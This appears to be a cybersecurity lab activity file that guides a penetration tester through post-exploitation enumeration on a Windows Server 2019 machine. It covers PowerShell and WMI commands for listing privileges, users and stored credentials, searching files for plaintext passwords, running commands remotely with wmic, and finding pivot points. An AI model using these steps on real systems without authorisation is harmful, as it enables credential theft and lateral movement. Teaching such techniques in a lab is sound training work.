Cybersecurity

Activity File

Activity File: Enumerating and Pivoting with PowerShell and WMI

Scenario

As a penetration tester, you have gained a foothold on a Windows Server 2019 machine. Your objective is to enumerate the system and identify ways to pivot using built-in Windows tools. This will help you uncover system information, user privileges, and potential lateral movement opportunities.

Your focus will be on **PowerShell** and **Windows Management Instrumentation (WMI)** to conduct enumeration and execute remote commands stealthily.

Instructions

Step 1: Identify Current User and Privileges

1. Open **PowerShell** and run the following command to determine your current user and privilege level:

```
whoami /priv
```

   - Take note of any **SeImpersonatePrivilege** or **SeAssignPrimaryTokenPrivilege** entries.

2. Enumerate local administrators:

```
Get-LocalGroupMember Administrators
```

3. Identify all user accounts and their Security Identifiers (SIDs):

```
wmic useraccount get name,sid
```

4. Retrieve system details:

```
Get-WMIObject -Class Win32_OperatingSystem
```

Step 2: Enumerate Stored Credentials and Sessions

5. List saved credentials:

```
cmdkey /list
```

6. Check for Remote Desktop (RDP) session history:

```
reg query "HKCU\Software\Microsoft\Terminal Server Client\Servers"
```

7. Search for plaintext passwords in files:

```
findstr /si password *.txt
```

Step 3: Execute Remote Code Using WMI

8. Identify remote hosts that are accessible:

```
Get-WMIObject -Class Win32_PingStatus -Filter "Address='TARGET-IP'"
```

9. Execute a command on a remote system:

```
wmic /node:"TARGET-IP" process call create "cmd.exe /c whoami"
```

   - Replace **TARGET-IP** with the IP address of another system in the environment.

Step 4: Verify Potential Pivoting Points

10. Use WMI to list running processes:

```
Get-WMIObject -Class Win32_Process
```

11. Check for shared folders on the network:

```
net view \\TARGET-IP
```

12. Identify potential network access:

```
Get-NetTCPConnection | Select-Object -Property
LocalAddress,LocalPort,RemoteAddress,RemotePort
```

Objective:

- Document your findings, including:
    - Username and privilege level.
    - Discovered credentials or stored session information.
    - Successful remote execution using WMI.
    - Identified pivoting opportunities.
